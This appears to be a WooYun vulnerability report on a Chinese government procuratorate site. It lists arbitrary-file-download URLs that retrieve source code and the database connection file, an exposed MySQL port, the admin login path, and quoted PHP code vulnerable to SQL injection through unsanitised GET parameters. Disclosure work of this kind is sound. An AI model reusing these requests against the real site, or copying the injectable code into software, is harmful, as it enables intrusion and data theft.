WooYun.org

域名：
www.lfjcy.gov.cn
正常的文件下载：
http://www.lfjcy.gov.cn/activity/downLoad.php?fileName=/activityhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/1404877864.doc
fileName的取值可发现，至少可访问到activity目录，故可下载到index.php、download.php等文件的源码，该站本身本身代码量小，很容易就可获取到整个php代码及数据库配置文件。
下载downLoad.php：
http://www.lfjcy.gov.cn/activity/downLoad.php?fileName=/activity/downLoad.php

下载index.php文件：
http://www.lfjcy.gov.cn/activity/downLoad.php?fileName=/activity/index.php

可看到数据库连接文件：
http://www.lfjcy.gov.cn/activity/downLoad.php?fileName=/activity/connect.php

端口扫描发现3306对外开放：

后台URL：http://www.lfjcy.gov.cn/activity/login.php
登录：

在后台可发布任意内容的新闻，而且有编辑器，这里就不试上传了，另外如果有绝对路径的话，通过数据库也可以拿到shell的。
另外看了一下几个php文件，都未考虑到sql注入的问题：
比如：
ns.php：

<?php include 'head.php'; ?>
	
    <?php
$id=$_GET["id"];
	?> 
	<?php 
$sql="SELECT * FROM ac1_news where id='".$id."' ";
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
$title=$row['title'];
$cls=$row['cls'];
$mes=$row['mes'];
$fj=$row['fj'];
 ?>

变量$id明显可注入。
queryNews.php中的$cls变量也可注入：

$cls=$_GET["c"];
// 获取当前页数
if( isset($_GET['pageNo']) ){
   $page = intval($_GET['pageNo']);
}
else{
   $page = 1;
} 
// 每页数量
$page_size = 10; 
// 获取总数据量
$sql = "select count(*) as amount from ac1_news where cls='".$cls."'";
$result = mysql_query($sql,$con);